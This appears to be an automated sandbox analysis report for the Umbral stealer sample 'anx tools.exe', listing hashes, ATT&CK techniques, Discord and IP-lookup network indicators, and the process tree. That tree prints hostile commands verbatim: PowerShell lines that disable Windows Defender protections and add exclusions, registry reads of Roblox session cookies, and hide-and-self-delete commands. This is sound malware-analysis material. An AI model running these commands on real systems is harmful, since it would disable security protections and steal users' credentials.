umbral | ffa57fe774834afa8dc2d696c2152c745e6da81fc2de0f46f3b72f4f34193931

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-12-2024 02:03

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General

Target

anx tools.exe
Size

231KB
MD5

f38061c227c9dc21395a4e9c874003c9
SHA1

966890144df8f62eb3dd62012fda0ce93176cd3a
SHA256

ffa57fe774834afa8dc2d696c2152c745e6da81fc2de0f46f3b72f4f34193931
SHA512

95e30bc74a83363c7d6c5a8634d68f76283a43ad9c50b62fc65bf8e9061868dc2050889e47768756d204274b84f56f7dcf75db9c8c72cd863facc8f5090bcee5
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4a9UfNbYMTVqL9Y0hr0b8e1m2i:DoZtL+EP8a9UfNbYMTVqL9Y0hYg

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4532-1-0x000002674C8F0000-0x000002674C930000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3360	powershell.exe
4192	powershell.exe
3252	powershell.exe
2232	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	anx tools.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	discord.com
16	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4928	cmd.exe
1028	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1504	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1028	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4532	anx tools.exe
3360	powershell.exe
3360	powershell.exe
4192	powershell.exe
4192	powershell.exe
3252	powershell.exe
3252	powershell.exe
2620	powershell.exe
2620	powershell.exe
2232	powershell.exe
2232	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	anx tools.exe
Token: SeIncreaseQuotaPrivilege	1932	wmic.exe
Token: SeSecurityPrivilege	1932	wmic.exe
Token: SeTakeOwnershipPrivilege	1932	wmic.exe
Token: SeLoadDriverPrivilege	1932	wmic.exe
Token: SeSystemProfilePrivilege	1932	wmic.exe
Token: SeSystemtimePrivilege	1932	wmic.exe
Token: SeProfSingleProcessPrivilege	1932	wmic.exe
Token: SeIncBasePriorityPrivilege	1932	wmic.exe
Token: SeCreatePagefilePrivilege	1932	wmic.exe
Token: SeBackupPrivilege	1932	wmic.exe
Token: SeRestorePrivilege	1932	wmic.exe
Token: SeShutdownPrivilege	1932	wmic.exe
Token: SeDebugPrivilege	1932	wmic.exe
Token: SeSystemEnvironmentPrivilege	1932	wmic.exe
Token: SeRemoteShutdownPrivilege	1932	wmic.exe
Token: SeUndockPrivilege	1932	wmic.exe
Token: SeManageVolumePrivilege	1932	wmic.exe
Token: 33	1932	wmic.exe
Token: 34	1932	wmic.exe
Token: 35	1932	wmic.exe
Token: 36	1932	wmic.exe
Token: SeIncreaseQuotaPrivilege	1932	wmic.exe
Token: SeSecurityPrivilege	1932	wmic.exe
Token: SeTakeOwnershipPrivilege	1932	wmic.exe
Token: SeLoadDriverPrivilege	1932	wmic.exe
Token: SeSystemProfilePrivilege	1932	wmic.exe
Token: SeSystemtimePrivilege	1932	wmic.exe
Token: SeProfSingleProcessPrivilege	1932	wmic.exe
Token: SeIncBasePriorityPrivilege	1932	wmic.exe
Token: SeCreatePagefilePrivilege	1932	wmic.exe
Token: SeBackupPrivilege	1932	wmic.exe
Token: SeRestorePrivilege	1932	wmic.exe
Token: SeShutdownPrivilege	1932	wmic.exe
Token: SeDebugPrivilege	1932	wmic.exe
Token: SeSystemEnvironmentPrivilege	1932	wmic.exe
Token: SeRemoteShutdownPrivilege	1932	wmic.exe
Token: SeUndockPrivilege	1932	wmic.exe
Token: SeManageVolumePrivilege	1932	wmic.exe
Token: 33	1932	wmic.exe
Token: 34	1932	wmic.exe
Token: 35	1932	wmic.exe
Token: 36	1932	wmic.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	wmic.exe
Token: SeSecurityPrivilege	3328	wmic.exe
Token: SeTakeOwnershipPrivilege	3328	wmic.exe
Token: SeLoadDriverPrivilege	3328	wmic.exe
Token: SeSystemProfilePrivilege	3328	wmic.exe
Token: SeSystemtimePrivilege	3328	wmic.exe
Token: SeProfSingleProcessPrivilege	3328	wmic.exe
Token: SeIncBasePriorityPrivilege	3328	wmic.exe
Token: SeCreatePagefilePrivilege	3328	wmic.exe
Token: SeBackupPrivilege	3328	wmic.exe
Token: SeRestorePrivilege	3328	wmic.exe
Token: SeShutdownPrivilege	3328	wmic.exe
Token: SeDebugPrivilege	3328	wmic.exe
Token: SeSystemEnvironmentPrivilege	3328	wmic.exe
Token: SeRemoteShutdownPrivilege	3328	wmic.exe
Token: SeUndockPrivilege	3328	wmic.exe
Token: SeManageVolumePrivilege	3328	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 1932	4532	anx tools.exe	82
PID 4532 wrote to memory of 1932	4532	anx tools.exe	82
PID 4532 wrote to memory of 1456	4532	anx tools.exe	85
PID 4532 wrote to memory of 1456	4532	anx tools.exe	85
PID 4532 wrote to memory of 3360	4532	anx tools.exe	87
PID 4532 wrote to memory of 3360	4532	anx tools.exe	87
PID 4532 wrote to memory of 4192	4532	anx tools.exe	89
PID 4532 wrote to memory of 4192	4532	anx tools.exe	89
PID 4532 wrote to memory of 3252	4532	anx tools.exe	91
PID 4532 wrote to memory of 3252	4532	anx tools.exe	91
PID 4532 wrote to memory of 2620	4532	anx tools.exe	93
PID 4532 wrote to memory of 2620	4532	anx tools.exe	93
PID 4532 wrote to memory of 3328	4532	anx tools.exe	95
PID 4532 wrote to memory of 3328	4532	anx tools.exe	95
PID 4532 wrote to memory of 432	4532	anx tools.exe	97
PID 4532 wrote to memory of 432	4532	anx tools.exe	97
PID 4532 wrote to memory of 3744	4532	anx tools.exe	99
PID 4532 wrote to memory of 3744	4532	anx tools.exe	99
PID 4532 wrote to memory of 2232	4532	anx tools.exe	101
PID 4532 wrote to memory of 2232	4532	anx tools.exe	101
PID 4532 wrote to memory of 1504	4532	anx tools.exe	103
PID 4532 wrote to memory of 1504	4532	anx tools.exe	103
PID 4532 wrote to memory of 4928	4532	anx tools.exe	113
PID 4532 wrote to memory of 4928	4532	anx tools.exe	113
PID 4928 wrote to memory of 1028	4928	cmd.exe	115
PID 4928 wrote to memory of 1028	4928	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1456	attrib.exe

C:\Users\Admin\AppData\Local\Temp\anx tools.exe
"C:\Users\Admin\AppData\Local\Temp\anx tools.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\anx tools.exe"
  2⤵
  - Views/modifies file attributes
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\anx tools.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:432
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2232
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\anx tools.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
9cd09a2033fe6909a67f0e505a5e1376

SHA1
3555d60d6ec05f0cd83cf8df299134a0a510c0fa

SHA256
5bb3cfc6afe914dfe06d8a8840cd4ccb8827f37a9bf2342d212e5edd21db7800

SHA512
92f113650f6dec49937846934d48f9ac64e6f14fc96d6c88d47841450d0644b33f41a110017e924137139ae7d457b3797f4379c9f17dbf59c2450aba4cd7083e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b84f37cd309375260e5b18433373965

SHA1
c2f08c1ab3329896d577e6ac255d38200b9cf304

SHA256
948dbdc14d25655c79858eb71efc0d49a88449e407519365124b83e695e83cda

SHA512
ba3ed14ae0e8b606a2974b71bb2f7d649087a2ac23953be5a5503dd5791d020c3119137db0b4f319840b6803d4c80a93833bdc1ec1e97611813d5880a2cecfda

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iy5vkqck.f4p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3360-4-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3360-10-0x000001BCEC030000-0x000001BCEC052000-memory.dmp

Filesize
136KB

Download
memory/3360-15-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3360-18-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/3360-3-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4532-34-0x0000026766FE0000-0x0000026767030000-memory.dmp

Filesize
320KB

Download
memory/4532-33-0x0000026767060000-0x00000267670D6000-memory.dmp

Filesize
472KB

Download
memory/4532-35-0x0000026767170000-0x000002676718E000-memory.dmp

Filesize
120KB

Download
memory/4532-1-0x000002674C8F0000-0x000002674C930000-memory.dmp

Filesize
256KB

Download
memory/4532-0-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/4532-72-0x0000026766D80000-0x0000026766D8A000-memory.dmp

Filesize
40KB

Download
memory/4532-73-0x00000267670E0000-0x00000267670F2000-memory.dmp

Filesize
72KB

Download
memory/4532-77-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/4532-78-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4532-2-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4532-95-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download